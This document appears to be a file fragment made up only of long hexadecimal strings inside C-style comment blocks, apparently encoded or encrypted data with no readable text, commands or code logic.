fa40b0b9bf2e2a59d83d2c022df4b859c23c87238b2891eba38557bc0bddcf6340fb19b424d0b5303e536f69bfb05e6e4beafa387e7d8fb583ca123df2522d87a6a6dc8d06ce58a6a9bb5871ee2bc71f204f8d4103732933b240cae4227f196657213964d57aea5e517d43c4a6c97fd6a33530a73e0a18019a1612c3395b6a7ba244cc97c412485aef5762560814edafef86c613540db6a1776844622f68d51d92fe7432c93e407dd5e7a37a11504dce13f908cba75d86edd7cdf66783cfe1ed0f292b368f1de7ae2ce0549a268d8a821fa040eb441d1187813c5c0770e21771628d765b2a79cc22a22474d8bd0f71258037ef0ea37ab92bdc7cc527765aaf3361a39d68b948d0d89802e2b20010f513034e19cca1e6963fe58c5fdfa8031320a2e31aa50d82a32830d742c3e2263b16db421307900b803759e4bfcf1544d1151eb44864bc567ce24ec7dc16307461e0d2db9f9809c6759bd3d3adc85c7d4f496b4b8d3f30ca51ff5beb8b00913f383c9d8e3dc10901e7fad32dad6fa1bcf6225fdfe610baba507c72810bc3cc6a385ba7415deb4efd8a6d8790f246d3fa40db2b54634e5389e5e29e48b690cbb15aee769f25f968c2f2b4bfd6d8548fd362cd575714bc15df508630fc79f98ff12c4474e4bdc0b14a75b94b0cbc74be66e97*/
/*0d3b05a6e5b8b358c16fa15e956c749558a2ce91a610cb3d858f21aac4ef18bb7a8ddbd2eb9679a8f4f04a4d1227581e777b8ae15eacea0dbda842bdfc057751e8c9e7a8efe373e55c57f7e09107cc5874bbdfd9e66a2f180f14724c21c7ef0042b3a723c0fd4fcd70d058583dad298b1469af2784adf1f742fb2356591305b1a7b976266bc80dab18d5caa063250c8cb219d36a5a043f6c233359995e648b072229c5e766a86344755a6600d3cde95589a1018bac98c4793c4c8a19384feee7fa048e05606a457cdade44bb99c53a121ec8695ba0ef2bc9a2d31cee456eaba71b64cc45a623184ce7dddd0ad68077f550adf126041776e54dbe8573da583ba819c82bc321e497cc4d9bd151187c003f96dedd8f19c0a9334677592a596838ecb2513eefa5ae615b16544198446a374cd768f865fdd43238555ffaa1d2778a14e4a6b8388ca62b477279ad38b2898ffca5a29abcbd65d92d5b140d8e081a2bb8987d3df3013f1ece694a463d968c182609440f3595f7459a5177357de695552d767a96e8e62e51120e64c7c095cd01ee33bec71e2d053ede8a4abbb75acedf2339dc37f61b8bc3ccf4242affd38acbd5e4a1b8bc46b47e6d7bc36ec9ac6a9527fbcf93e2c829f5149ba435725322cc12c95ea150ea76e5c0da68f835ed2e28a047ebaf6809eeacb6cca3ae409c2b45baf42a622278a719e0f6e552aad1fc3761877f22c8ace567a79cfc24131fea1f18f532a2e6ef06fd869aa547296ba1d7d2d81dd8a92a68c9b876adb3c6044f79c40d95058fcf111dd712046b7cb07357abc1553e6a4d97118c7af2b9f7cb8692086de7cfcd65f0c14d13ed1bfb66dd5aab67ab13d21119a6eefca2e3961b8a7266dddc850c094fa3f7172aea20b4ccb9157c725294237477f77aa0f924cac3bab230d3a1cb83f75d5435814d912d3f042947281c903ff1b92bb42b1864cec143f02a23cf352677418307efded6f472692655ffed7df9102a1138c260d01ed138e70890d8890fe0a69fac8281b5f0069793826e149dd084f06291710511dbae88ed1fa12c99337b2e34c2425acee57028a02340c965a81a02f4a2d98261c00bf11066dae246eeb52838cd98a7fd2c82cd74e334cb09224159dec2e7214576b319edb56443b9c68b786014be6745ace38fd193ed90b2043249b0ee424a8b55bf98c75eab8eed08fc69586f7f0d2b70030c26ceecdc950ffea661d3527297240f05376ee05910159fd3bd34e7e2195a7f9a7bd1481a65dc6048097fe9d8bfdcb19eb03702d79461427fa25ec1de609faba5f90f92318fadf09968e3a58d39d737095074ee07e81299d631d9f3c7115403a9d7193413b40e750f2bec15c3639aaba1291892e733f4ea674098d9c9ec598002d437aef1332b0197d7c798acebfa2e1d81f2ae05b36a862e79cacdb90b416b8ff0259fd2947b98a26d833c0548d4741eb5c278a77fe7867dd63d8a8cec3f5a5210395051a1028e41d7bc647e035ca47ee1c98b6123141815fc67c1904b0eb9936a7273c9851fdaa24e8e381bdd29b307b933b69f8525f5252519433a6a82cbb7c4e7635ae396ef28878dc21f30c529c7b3dccdd57f4951c08dbb5c35960262cf61c13ce13bac63e0c0ce0d86bf106088ec7134adb786ec4465bcea6286b52bf34bb531476fae4247b3a0c1630f2a3e2665c7dcebe608f3005bf90a7496cd4dca0f52e5cac3388d5f495262c4b4157b60ed5bcdc563ec0105d83bd3d50e3890cce42aa2852263e055ae6c89c85b0205d4e6cacc81eb9920a23762b794df8d1fde63768b08fea65e63c78ee5856b6d06e5a295cef75bfa10773d1e4c0d4d1fe88b3dd6e40ee4c6f6fca7e88886602256068ac7a9455e7be1a91a1a96d965934c2fcc023328be218dd632609322bf9cb0183d6489c31a576655d7c296770502faff69cf1176dc19411ef5e926cd195d6904641db9ab4c27161ab2e9d7d48029354b5d509c7d519d4af3bed1eabc221c7b4fccc4f5e300eff6f1af27f86c6877ffab9644018fda27ba282dee01bc43586722ccccf382499fe675b9b214fe6d391ef9d30e7fd4f2a19058bb80f78cd0e70c0800f13de4b67656185f143ef99e20b7de30569a1e75cf8689335878c7762c51fcf691466d32f4152a6c5d70862707fdc1f4e70e1c17f4057ba3243735428af11a1ee94b18a4a19d290d1c8e91c2bf9f263655a6b708584906547feaa223fe883242a3c9ee9591c709b523acdc21a3ef9f67f681f5ac81adb86e8ba4deef64cd2d18cc9dfd32983201a564ee7ae3c448ff2895af35f46da0573f70e7e5d80549db59c8cdd9cdb3cf701dc7b49c0016f34482b31647063497a5ff5e7472b09f594de6972a5b2d5d55f29f1b361d5efa1717b73dbdd194a10218e933c0018fcbaecfc675d1d26ff383cc2d8124b257a55244abb9d235651a7967ec4bc67c743ca430795a25999a804508f50a0237dd3e006828c7430a664a810f571a6e622f66f3435c6d5bd349093dc8c4ffa8384236fe0a61aa677fbb07433d2acc7e3ab2696b143cbd698816fc9b9f365b11765260e4bfcfe494e60dba350aa0d80d9f95d1abad4a256238eee3d09ebc2c624ce0f3f0b2802106d9fec1d3f23a012f20a23489746d1204359685241a5170feadf0f8abcbf26802ad24ac127d88b30af5f613ac2bd1526fc5310c9b90c6efd94dbb871bfdd4586617c10fc9abef42365685767e32633583e024176716463e01242e8dd70e593645bf2ae33adde3038887e48e67749535cd2ccf0f3a1f9092d106fb1b08e20eda8488d2ccf9c9dfa83933414cd5d542*/
/*f4ccb8e501e85d5640779ebd82e8b57dc92a6454ad3a1ab108fe3a5a61104ffc83a276c44345cd9eaf6ef8ef601dc4829c25fdd311ef2f938c89d88a628375f53622467a689233bbc4a59dc0339724ae9d994e3eaaaf3dc35d7471599f5db55a2ca2496d5ac1ffdb61d15271398d545b9f3347502f49f651dfb63affb98483af6b9173bdbca4229bc258a6fd1b075ab25f7507cb56dc481fbef76238f8d70ad13f7a90969e590a608db6ba986b62a9232cb174ffb7bcc258661495c7a7545b5b326ac8a0eb0c4a3beacd161727dbb3096b95f3d8c1e304a839536f0fe82a860042f0c9326ca7c1a854eeca92e82a789dfe941fdf94915bb5df18cb11ec190dca589dbcd794b3e0fddb6aaed0ee88b1362047f44edfa6e10aa752d590710ab1abfd1d0de901b511f8bbbb86b3c95e258e51bfa5356d80fd24d7a55260710688c8c04226ce86c426f229b2363867523f32b5dc8436b5289af07982d78c2d04fb7d9b475f28e74ba51bb4ebcc3c525c1c0c31fabc03a50230d5c3ae54d4593bfe3364aa01f6b9457f187d3d8da5dc73b9a6ff1e69d4cee057c910200b9a8996b5b4c1b085455a92a9d9e0c48828e08d941d3b8a0f2d23acd4d0a08d51ed0c25e10b8fa12d30d0ddab2c8e325073aca357b681cbe7243b3cb5949ba483a09ad18997f1b557544dd8555c7b08a48ea1b4fdd83427acf340eb9a361337ee4a06abca5e2aaf418d362981c55532ff00dcf476f727fa57ce923cbb9c8cbcdd539075e4dbd3cb856fc756dc8c5f3d7256cd0a420b9eaaf8104e2d8e0ed52abeafbf5853312a450ec03ecb650c68e4180df09a70e7db810120d38e363aa58fe91979c91188616721b16409e851f9efb67b1840a05c41639539887ce42f98eea261a216c8ca90f5e77853d7a48e1bb9ccc774a1382538cbfbb9e25099cd92429b6bedcb1ba09fccc231684fcf5054461f9778b5e0d5361737835c3699cc2c2e4b8a83f914cf0c55a2e880d0454139ecf58b60b705e9391727ab6550ebf3df581d0d6f528e38050b1f44fcb460a3293d34fc6e9c8dd492e9af5c4bab0af3ae9063d7bfc98799df87a20bba87c5030f90158930e98f952a629d10fa204481253201648a07e132b20d2b75b116fa0e8aa449d56ce4cd2adca35c35c2c9f7af1b31fe2844e3469909001d4e383e0b836cc77cf84293634039beb6f2f6f88c5867b5dba6c5ad4fabf70bd7dcbe38b04f1da0a430a63b88cfeac18d7aff7de6bccad966b6b5dba5bad251a0a588ad04ad5fa431db4cfa972759d846e55126b354ae13561494315dd1e17ecbd16ea7ee5d864f3d6409a1796d2c31dc3b859786de319118ef8f381c375381815bf10e18e41b933862bb12a2264d8e170ba4f55af9a372396f695cc20d3283331f5a351424e82fe0602557abd41eb1767ea3bef87caf3c29de245cef8aaac14a31fe5384eba01bf6803b4e2e399e698c6518c246e8a3ae3d65c89496c7cf86b39d60c7ab519bcb18709752671755bb54b477770acfcb97b304686520a7af9b521bb0e21eb449fe624473606b6a64c492911592de49a439bf466f63e6c6286abfc6c4d137772e909bff67711a5fb7f5525868f08b3bc99ef40bd3b77801fcfecd71abe47efed75a2784de2dc1b40c7c166a1cec3ada4be9151fe7c2622f499a678d564ed03d7b7895221708fcc4d105608d5ff5672fb6490fee0f71f47b7ded1e6b289fb5a4575456c51cd66a0032d0c9d9c11c9176a4c427541c74d0bed5c73d9cbe17d2d366ac0d7f31b62ef852cf28cbdbc43a9710eaa723ab036ff74a6b3fdbe7d9750d1a76d530176810eec9117a22599612587e516598e90019a49855c5ab9137ba78fae8105f18ca24b8eadfabbb4a864acecdbe63af48f8a977aebbb47135e9f0f09c4426cc827666b6aaed21cfa6ee526e00a6b16737d63eee32db4ebac6eabbaeb03b3ef6bdddf983dce44e7d18679638cf2b73b3c352cc0a6959bdde2bca4c1b49212468c1dbb3267687bc21e774e0f4d097f6f5a28d0ae6ef4f3fc570c9c6de56a62789c7e4ad251e71175f4f3281abdedf5a713dd6767fedc317014f3eb5f4d482a4e4878048ab1cfbb19fb09b2250a398f4b7456c82f3ce99498df6cf9dd21e36d7889941b66afe91d74de9480905eff875b4fb92ed1322e53b6b4196d139d328d23a70a0debf69a052c825d78f5750caccbf6c9b660439c37dd0101ea8cb401c5447ca3c6dafa6c1c65911836c595fdccf5bcc96c8787d9a44cb6969ea10ec133bcd96e55d87f7c830ecc48a7db86a329e2902f00f79289c3f4b0e55ab054e49afcdc69fba7314a5c7c2693a99d15a9bd926b9fef442017a5f9acd4a8cb20c4e4be70904010c60abd9293bd251884107b098a0ad4168ad5c8afd707c0d86328753806863b70ddda31fd10d168c8b132ba6ac58d73968df3e5c94229423224cfc802279ad50aa60fc75625fe83f6444fed6bdbc5cb83991c15d0e0f5672278f45d8774fe9550108d46808ab9d3006daf0571b320dfb6b6255c5108a7e9f9faf3345a56e92d5f6f9a36132bb8687bb5049dc3faff97a5b618ae956cb2d85e72444911d29b41ba65685d6402143a4350e5ad1b858d5a855193c9b3f0847c3427ec4fdeb8d2af7b26d523500dd1b4cf1f18ed508dc929724d36d8cd5c84e432e23db417381564a1c1dad64a4a224577188d0810c5a8cc04b115ba1a57aca6fe224987ca847a20e6087f5ef49ed806c72c17de28b153fee9a35bb235efc62b0b98385632772d25857caf96c4aa19cdc60376dd8f2c79c5c743f7113110ef952b3a25f5c2a2834aec0*/
/*e55c1891f0561bbd7d1a316a3da2c7810289fcede71701508082c7a3b8078a9f8ea91229c2477c021e2375154f2d6b927ea2ac705009a549e3cee0f2a9516cba49a8d1556bd6d0a990320ae7c015b47d7428e70f8f9665dd0ffde5be772a7e9d467f91aa9347cd3da3cb12ac59b2f664c067b503780890699a750bc9a8fba758360d303376dcd5c6628588842157c2c024fca9e3288eaabb150c5c6563fed68952d8632257f475416f1574320bee41dad4bc20195ff3c23057d8ef42b458842c965a7f62624c088d0d6ef765cda14df9a402b363ec3a8de37d55df7f7eae08d0f83cd553cac9bd29f7371fc09fe9725ac0c580c57c2c44258f218ec5096680d6a099804c328b13209d4b329e552073681f12a9fdd2e4e9b7eedc97c37825027fc505d397aa14cdef546927e5d33bf2e25925d5fafa73ad362b7841acff86d204d77bd82a73acc09b4ff02be4e29053f01aa25fe9953309bc767d32702080531608cc25902d83a553ef2a2479c698497fb6556e632962b129e1369638ac7dfc330397945576874a2ae329017d097437de1c273dcdf4ebdea7481a05886f88c352a363d5bc5bb9221fe677027327c221e5fd9f64eab488057395133d4e9b6f54186283b92cc9e809a8b6ff8644ecf686c103fb4d769deb5880b771137c0c5914c43127167ac879bb72f1e894673c13ceafc8649ec98f3ea7d2e0683020b775670762a9401a7e2feb2804d5ea2eae456077f12d6a0fe91a48f1e2c57638b9fbc197581fe9f1ccd0e0f7512de26828ee4dfb4df9367463cef868fa29ada38f55dd30d00704cd48a5e7a42efe533ffb76146bd25c26b249731316441751186704fa9892ef2a02392b60887c27f94a9c666b49842757e24e87d984e25031eb04974b945668f9e10b75b590d769e050ade076e021ee5f0640a4c972d9553ce907422c4031318d20992967fff0676b630361b8b8daf044337f8f3923fc27b329806035601d10fa4a1870ffe757f79bede0816976234e2e7b07c14c9c9906d17cf2878c51fd0a02ce7d97a6bc89458cdda238a3858b8dffb12073b1cd40750becca0e5077bd16b5d53ec4ee1479b172e4e34cf2c642e07d634d786d0eb5fe2541e8828e76f8cadeab3294a6580a73114620dd51b330094c78c41c7f1b40a6e44611b851d275098dc07430317ddd6e48972f51d780fc3a07615911a522436d4e2041ee7bc230973c3533a2fa39ffb6bcbd84762ff2931e89a7cc09a88e23547f99ec54b7c00ed929013b64386c32e463c8dd0b365a33eda8ed34f6bfa0278a62d03edc158e7d0fd3cb28cca53f54e6e50cc95aa4f30a9c614c42f1c97ea5df89b75a1dc286ad25ba1c15ae45f43918977e3fa8699ef9d706e29b57474ae4e0615bb91fe736b25fc7c1a31eba814b8fa79e60b047cff8381dcac781550e22d8940e7d3684ff56e7c37e107063d63eb3783801d6e3c48932e2d929442a5914d632ea3f41e9748a02e513d437dcec9f82e34622f5ac764a013d8a90e45f83fa67eed23532060d7cff0a557e4f3e7b6b086d71f430216b25eff1120f18e7926e6d1f22cc8f222a3f018a063733059caf8f8b8758a4f2a2743e9772f689758c6800643250289505e8a284b5b64867ac2071e935c136dad2361ee33b5dc66cc83daf23aa01d768ce2dca9626a1fce5ce0ba6b9c6ad73d165c80cabec725edb88d50a6058ff31e24ddac0225d70c8d7ade3aceef557072cfe53b3c06fa84fce231d89404f85385d98e794e4b2120c6bb95cad28f5f36161d36c75280b7423919f8d7b76ff769adcb505649c41650e922a60b35f33a9a552fbdd273b9453c5edd085b2a9e68d88b803002f554ffca63cc40dbc10a51db67da7fedf4713c2c70822a8b14bb7a32dc9d780ebe24f3e573e83d4d69c55c701623682da3d8f078774011d41930ea79b1c0aaa7ba05d7a8932a584da2222ccabc7d356a9d12a4ec37aee43a52c09e5c35a6aa6c42becc0cb3e122a886fa5c68c8acd3c9254468d37d5c59fa2ca261dfed2f7ceb4f263ddcb900b264073b4ddb6396d3298eaf091ef187b7c5264eb2c1cb214b29bf3151ddc730de35c40599f304ec2b37d5a8e085a73b5b136c6fa7abb217b1ad20da123e61c3e03e21e3ad0f2efb95ac58476b310fbab0803c538616c45fbf51a1c34687730b5fd2d86fded7e21cbd1df637dfc55ad366a892a7c4aa122111ab40a7640483be99d2ad64ca1920bbb0804597e44b4d29e526a9b61ef5364423fd83a9fadcc306c62770fb0dbb5cf0680eb8f5f761e9cd0fdb7a2efbd277b1335fc4f7a988e6be1de2c314efa697bee37b6ac67753a97f76b63c83528b55265ca21d10bc8305e75caac6d26b5201844896bed8fe9757fe93ae3527032bbdfd6e7cf837865a15b271caf8bd539faf798ab60143c10f371763e3bc2406a56ed6b18c236966c04115c1d62659acf378029979cc4a18223192ab96f44ed39f19fc109af062fd8be865896b71a5e300846991d271b7c47487dd6ae9aca2215e774318cb561f0893b4a292034408179974562147a1875b3ac6d04e491d465b2b8ac2bb66d0f53aac50249958c038ddddf7540445f508ed83d8fc98ef16c05c28442788a85b6a29ec11fae52a02bea11ed3730fb448b9b53339383fd521d4f6c161ea1bd77a7de33f7c346fc1991059df2dbb0b2b51a1e251a800af20d9724de96e87753dc289bc21d2685e629ba04894d2ac6123c860d4938ef97e6315fad85e2a12585be7ca29ce955a65ee5819d9f42c13da530f7b8d9473fec9e0829873c3fdf75982ce14f4835fd34314308b51db9d398*/
/*38a3b8db66044ddb7fb1a8a53b90a7ffe87490ab70693d534fc925f983ae0716fb10a8cfee3c65339e3b4463104eb37de386928fd8a9eef76c2d6c25c2b70ab36318d22c724581c439d1d82d8352af53d93e22a0b5f1b7bb69f96a6a05945152b0ff6da3e00ea7cd8a6b351f193186d89937031381806fe3822c6010f4096f4acb967e51e4f219d47737fee6c94a89806d80692b604fd8a91c2f3a25d5488f14770af6dc18187987437c8a08680f8c87478ecfc28be52c9f81517c6cfcb16b0f64944ae680c8a03c95604d47c34d8cb1d835b6b9eb08dd89c56dbd17e2efaaba0e49d09d4be5a7ab7154541bae6fdba01da9e127dd8ec1ae977c6dc8be3249ff9f28914ad95503c61fffb53c28d349706a9d4f6af93bdfc81f37d521b6c13bd7e2965d5e4cca92f404fd86cd28a2194c66aef718284232483c43142d886ef99439867c4bf14ad7d70caee1be9b31abfdb8d1f519112f1a2b16f1b59c2b16c751aeb67b4d751a52283b5fc0d844238138ec5d48aeed39f3d0b8c351767d7d40ab4a628c2486416f6589c759d2103a655d9f315066cf91d123915e4b9f4f7b74464e6545737806ef60c40ee55c58153bac4f60e6277e7c694cd676a4ee5e23bd9cbbd38c734571a826a496a85bb4bda227a5875b75f84182d22853dbaa27e8c72665f5e852347e76e58126a27e0a1e293c63cdd044b1fa694d820d269ee56a4565e2d16e35a16d2d0ff6460789bb1852ff0605d3991f3aa0a79019da4f3fcd6d7b1e861eed91b0a336e518e9cc1c66acfd98ff48a5b26518c8dd36ef705b8c6941ddcdcd0528571464011498b619daf29077acf4c18bffd906b05f65b1eaf1190f3ec9a18f46da7db869b8a862e4807fe97db123a013aed4cfe717a8db14e4a39a414d0ed1c05b5d564fc8c08fd449068f6733ac568313364a7059350cc3782b810ccf0fc802452c74cbb0f0fa4ca2a722790d2ce008cafed5459c48f179e0649a870dea2e1c4b3135a475ade1d04d04877b6ce0e0ea61a6474719f6c9bb521f4bb58fa53fc93e48ebd910b56f03309aafd3e92e5ed1fa47ac9ea415a569a2cde06260fe01b0a8861c999c4cf48b6e48b9bd214224f22edb3ea49ea73dacaaa845325e621e0de703d970969da59bd2aca4498604f4e9c7f2578c08c9e9c251167a2f3d2a171e21c39e7ff40dc10aa0b98527aa65e2eff71243395beba97786f1b6cbb3ea16f3e09eab46c5682bda154efba56968a0ca48a11e1791eadc47c48c0f3e3980d9d8235a413418aa722f818a3dee9f0a712b209b1d80f17deaf30c764ebba54a5e08d1a2704c20ebc916786cded7ba6f94287203d89012ce6eb24ed1e37818ade58b2d7fb26e0f59e517b4184243ac3ab5a6d90d5b02611bfceb724074b0062f7a4fa574092b40d80ff5b93e4ed0395826cddd892c35f8c32b152abdbeb7b694609cb42f232c2bcd0ef916b9bb5a2d8849c8a257322ddf06c8ee03b3ed4c759742a5da26616c56fb46dd74d182294b43e471f8e924d87c5fa01012c3fb8ac5f38b82818ce3dd3617d2c5b4799502a7f30b6cdb1e2b7be4d09318d4744e453ce39a67b59e78dfc000d7db428363b4c765e24deb6f3780ffb02c5c03a7599520f599788608ddd644cf4be9ec4fff128c17173da11b9b172babce2150e7299e30fa3aedb7838d4f7d375fb023bbb3fcd2d0ea0af19133d31713aa9d732d62b9cdfba39498e83f547acdcdbdf14a5fa3e544201f41a7bc3a9b2457435bf701691bfe0783ba9f32b699ab83c705f0ff934bd91fb313d1221f922e3d1fe700ae5f18be388aa4a6eff41ceebd831a8c9c0a2b357176cfdb67222b67b622f5a844af3bbdd2371d24c18e1939b7fee5b7c2954bcccdace350aa529dbabbc8af9255c23cd18904e657463b7af6b534336fe0edfc7e30ca90df74990a6e7b5e1127599295895451d6b0e65531dcb4f10c6e9e7a5ef13d8aea0b0510891cf4ba9bda544da5a286c65122c055248cd0f44470e62f1b9df4256c7df8d9e6f9a9a3399121e63f657668f2c2bf383a8951a8390c547b3cc31002bdb8d7f9083c5184c23d4a7435f415c0622974403ea314c50b0fd5a439e0dbb848d98c3bca4e8b395d069b9ac030f033272d9b8d2386a9f3eb762a3f91b1b58ce59435d7a48e1035cc80ac2373e968dd5c9590398e5098c7463fef6ba1c4ad16d810e4ef65403e6784299c33181907cb8f3e86280e8060543f396418c271992984990da256b487ad6dd403d2ce34349bd4eecc9a80e929c53523892e0eb090a88fb814282ea6e62dfcf444176e5d5e96ac6d3b0648b069485967a4eb97b0cc975ed8ea270f2d420108f52e42b3d11ec7efcc31eec46aae2f09c322d3d5fa12685e9cb424fade190db97a6ac4104a60cd8e80a87bf57291faae1aa2650872fcbbd309f042b66a974198022aea0faa28cfcb12d4103b4b9f6194724d28f268ad7c914ce7981de9cea97ffa37fd9ee9a01e5f666d974219cfc7b044313582e74618dc19c9facd38fbf6f8ae7d15d0c48d804a4acf996a04b944dba1eb6aa2d8825c349d4ffd1a4f72ac96183fd1d9b4d941f5d630ce409971a09e32115d93c160a301f922e36ccca3b9a1e8486ea1d10d48efe3643e355b5c60034cdde49a9921398e19e4e41f61cf9791cda29f80a4be6621168103759cd3f8e147fc52b3a9009cf1a9afd2822117f55e5b78caa077dffe80f14005efa6d9a4abe368fd245f6b6a395f72444d8a77c680c64a96ef732f8888af4b9cb45f0fa1322e48181e39f684e1a6d8ac0ed7463d227ac45fc624c7201fd413783a8dacc62009d8*/
/*3ad70bc45c6ebb613092f5891517b5f5e6c2f93d3b0c6d8664b9cae32bb5604e0aa893f266adb0162eb5e27f47f0ba331ec56abb22413746f327b16a9daa3e70a7ad4d5341fe3a684f00a8f13de0eea2dd277f5a16b26a0950b394dfad34e596f7ef3fd9b06c8951644d5a9ccd35b853151d95d48de00de0561ac9509bd9ec942040f55c7b1ec945489f981cf80ad2540e69e577fc9e76704321d84cc36f94c2c7e85f13379b59d5039d692340c745a6d1e9e5f31035dc2c53f0a20b47ff0379d2e70101778022acc4dd2103abe7397c4ef78e5d3be871b04da4bdcddc78e71daf95ee2589248e95f4a07958213b9f129af5cd5380c1c747a2edb15b21a539839c30bf0fcee1868c226ce42dc066f1614ff391ad373f8b0441b4dcfae601da3778669da396a59a7b85807abb75c9553800ecf9c1ff970037abf2595be1d229542c73d5ee14bfa18bb736abd9f43fa8f24a67a926b5cd76303678be389b096330fc4ff924e00ee0d6aa708dd9adce828b06316d6fb4c297e8e0596e5bd7286b076e1b41cee3b26bf327bf15a97e0663be365702321dcb82a2697acb062e4b27762465f2d1cb721ebc4bc471938dd6837a074cb58cc619f5e628913c784c82590d081f39f478343cdbb91b7f2708fd82ce91a92880520998d3743041767897cb63780c2aad8d6513a4cbe1692264c076505a37a2003cadc9d30f61a849402372f028443ff14f5b9d55dee98d34a4e7841f66eab51f74e02b462fc15ee0479c846979d1a2fd55521b8dc63f9ba8fdfe84e6cb852bc09d7fc7c632e1f16c99814ede414f7984e0e1dfd5e9f17c00699c242fe72291ec3ec41a0184d7939fababb6975d87e430cbc92908378e8d575744de790dc50ff7e9950dee7e7c2211aa2e3d03ca07e7f13c44963faa45a08bada97a36a7b79e4468f90a6c6ceb3fd2c767fbd1ccc106d91359a2efd11dbafae98b9dc1c79f4ddb9eb6b8e7cb4249095d6ce894e83b3080ef7548541f2d72534116a779c2d6fb363a4f8c97b64057f8f01941b9e8fd47d29772e296321f901495c026591e297e0eae85ed2f53d69b40522ab33df7fbae4abe89790bd7e4d35b2b7f5e89bbd78e2c8be71a87adcee1658265bb95d3f9960708744a1b189eef0ca47928248945fac3187d14409a55b57a894f48a35787369fa299d5b18425913282a57e921206ad42eba68f82d14eb5904cf0c260ffb18481c49a65b2229de5a65ef129c4add808ed8d72b05e62fb6541d240074c913266ef78f5bf2323a600becded0222bd60ecd605b76f93d921e7dbd60eb09c0e243898dd37fd8492bcdccc7e3335176280986e302ca709254d48f59425d9b22365ee2021ec0d734863014e7f7017e22623c852a7f5a3012578b13400a2b50c6391b216cce49de6b7503ddbe3010508ecb30cce752ccf2b6ace4ed7210530bbd487e7bd89904bbfd19d60c4399f8afd3811fa77728ee37f257dacef25cc21e4d3e50dfa57ca89c2149cdd0aed528a355e7ad3fd2eefe922c76dc2529b416a224a7ac528fdcf74098a1769ea3bedb4ce1adb635621be7af120a7e4b536a6ceb5a8abd21f6ecb943032f2c3276e58c98a9c271a8147b22804043c4cb90f465cafaa0610b2a5057ad3218c4f9976d89062ac388f2daf706156f0d93c64016479e4ee6ec00f0eb391e5d6d74888845f3b0cf583ea441229ceae4ded806b26f0906528c8e14e75bce677cd8304d8aeeb3887d500c912b33c2f561ddb5d860149bce04c7f553d716d2a91be245c31c6834fe2a88a1c483b8d8f45216225ef3c07eea0dcbfeeb9ab879643010a3b69a84fee4113b230c0634a98eea8aa23dff531042e8e01861b1991fbcad14c76f60fd0aee2db40cf4cd6095e460fba8bfa268120dd5ca6e298b27f4594d0541d19ae00d99e57866bcde15b3414b13b67688cb86c44106145fa6a8956070761bdaf19d38b602f96550ee9b3916fc7a71f1e8e5819185ef4ba8017f9bd4aba1c0c7d736090332f495ec0bd6b6f2ef1e331668f09065992dbaf2117cc4d5c890b545e7dc9506b4aa5ca7948a479165a1e6c9deb843195c2b82cf584e0d6581cfb7fbebc643c9b3dc0ddb5099b8fbba47c4eed107089e785b6e0aa01d6fdf0e8287df99aea74dd180e51a73f82c820282feefdbab10b0fdde2ab77c67625fa5751e02303442bea011be06e9859b80cc9b66c34d937fedade4f3a1a8b616728a256781e6a73280db12e1423e57fc670053af1dede7f3fd766fa93829e302e5bd57b83e312d91fbd1525a3e2677600d89f8d8876902c07bf3646cc7e5d36c51bb5b2635b0a14ca8f50ea4ec5a7eba5107589cc3c54a905b4c2a98ed404471aa64a479fd70ec9db5cc72b03544a0b555b1de632aff73fbc1d6e6786df23fceb660d4ae16817db8b2629dc58639839303eda941c8beebffed44bbc111755bd7f5600d6e2f8d70ed4f3d5d7068a9e41f0b490528da178a4b67d615b30ee4a5d5f0703bd3697061b3ce25d81ce7cbb0cf6ecac6d161a1faaa996e6ee869258ca52356cdc89aa31f98e25de4df1c7518b727f91eace75fb5b25ddc99124c41ee45676ad9d4597f624c1e5ccfd00ef33e6077d8e32b3b1fc02155929a2a2d941e6a3419712a1aa5a0f1a8ed3fb748cfc68c8502458f52b4afdac426000bc374923ec983b0ceba79ac1e55a2454edb4fc80c2d6d568d2bf0f7861ba9c4b588aefded012b4569a525d34926871054e2a456b64d2a5c32621fb3e137bf22f3b34d63b7d3b769bd4e3bcc5b5c5b6d9fc235ab3fcf9393f5ad961d1a09ad091e9607e4af9b67e1df4dab9badbb1*/
/*bbb68fbd08eeff0ba3a52e3e2450cd958649444faebee51cf10f65947dae44da888b1f855a01b02b4ed32ddf72928f3fd55ebc65482ca8669ebd757a1b4b07e4fbd210d24a4400cf093ea59a86cfb033e82c478adf98a55ebc6cb9949af933d030034f9076a6fc2412f2ce0627316e02e17262547ba0d507957f2e4bd02c63681b365c686ec1c6809e0343a5842b0478c7f40dd69770dc5a83426a604649b43b97e36d9a896611b9622722e47d7b671a388bfca67b93600b4f9775874551ddb3076e0a98908afeb0a0b4c869a38b0daac2e4339e523680c6609d43034645febdb6ec8ac1860b50f08a6ef02ae2be434e7824ffb31c8c6e7c3a58906edf21acaf7497f99273329398dfc43ce4469fcadf853dd2bb433f0a62d6b3c960cd6d3718090da8e8b7e92834a10d7d402e44e590c3c3d4e8d3a8e095cc68ac980d7065948160e0b28a33fecaeb71bc44c8f6376ffee49ed614ea1291ece26032abd4af766a580be3dd3ef5b794a9807ff000c4d35137fd267ee25ce2a4c2832ce715256dfb944269756b0e298dcfb9835b12e92c7f0e13ef01d6d04364a5d5e96da7607759081103af81f15fecda983a4241b72ab81f7e9341c3ac8681f2fb65eef6afa2f5d9b4c4b79d8c129cf99163a4f0c96f09255d226c9d75a1b2d48e07f8dfa13ffb84ce89f2a3bef7f51f11288f35c17cf7de6da1ad370b3e625fe22ab84f6727d732cf510ea77a29523bf1e8384d6cb48ac49316df170e471e3cd5c878b9ca6cc5fbbc8f9d8cf3d9975667117f0ac62854409ed8d91748365388fd3816d21c9b6460fb840c5d160e33aa8fb7bac4b90c486f9ecddb1ce1464502fee05243c62b7e0cc6c74c2ad1eed194fe18bc1df6d836bd43841cf7b9b0adf957c082b8c917be8784c76758e200fb8b55bf2944473a095e00689cdedfe5d9d500afbe6b34af6864cbdf8b641687456c291f61b4a7e5a72ad8a4ad0ade17af49c1effa7a275f184549f46d06891edf98847ec538b26ab0dc128d97b0ead233033f587dd1eb22a5a258a4a42061dafc5c89bfdee0b2b2f5cce6468c40d98537f4384897dbca865cf13afc270a5f09e108be8fa0fe34142e39a174309631bfe37a497158ae0db8f0d5e764a7493515321e443bd89290a03bf7f9d5ed947a33a03d2810b9bfdab0af446e38e81ec87ac85d6181faaebcaf6877a8295831234235d9cbef7c12e6a6505afdda78e15a986b2c8cf0319992924aa9d5807ece83b4f86b5315834996292930e8518a71a9c3b8325a054617f35e65373b359b533fc7bf41c5252c0b717b928bc10a5482a52ac590fef51d330453f34adc2fe5d95ff65b1b54a578c8846bba0593d93da0874628c8a788cd0766db96fb911bf90b6c5f957fba1064950cfa650b1c25dfd5ea550627e7d92adf704bc0ad02a57a8a7